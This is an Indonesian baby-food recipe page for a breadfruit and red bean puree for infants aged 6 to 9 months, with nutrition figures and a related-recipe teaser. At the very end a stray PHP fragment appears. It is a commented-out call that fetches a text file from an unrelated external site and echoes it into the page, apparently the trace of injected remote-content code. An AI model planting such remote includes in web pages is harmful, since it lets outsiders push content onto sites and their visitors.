Pure Sukun Kacang Merah

 

Buah sukun memang jarang disajikan dalam bentuk makanan bayi. Namun, sukun memiliki kandungan karbohidrat, protein, vitamin B, vitamin C, kalsium, fosfor dan zat besi yang tinggi. Selain itu, kandungan air di dalam buah sukun cukup tinggi yaitu 69%.

Bahan:
1 sdm kacang merah
150 cc kaldu
50 gram sukun, kupas
100 cc ASI perah atau 3 sendok takar peres susu formula
100 cc air matang

Cara Membuat:
1. Rebus 1 sendok makan kacang merah yang sudah direndam dengan 150 cc kaldu.
2. Masukkan 50 gram sukun yang sudah dikupas, masak hingga matang.
3. Haluskan kacang merah dan sukun rebus menggunakan blender.
4. Tambahkan 100 cc ASI perah atau 3 sendok takar peres susu formula yang dilarutkan dalam 100 cc air matang.

Untuk 2 porsi

Nilai gizi (per porsi):
Energi: 105.2 kilo kalori
Protein: 5 gram
Lemak: 1.5 gram
Karbohidrat: 19 gram

Untuk bayi usia 6-9 bulan.

 



Artikel Rekomendasi

post4

Resep Ikan Kakap Saus Keju

Ikan kakap mengandung zat gizi omega 3 yang sangat bermanfaat untuk menunjang perkembangan otak bayi. Rasa gurih dan lezat serta teksturnya yang lembut akan memudahkan bayi berlatih keterampilan mengu... read more

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>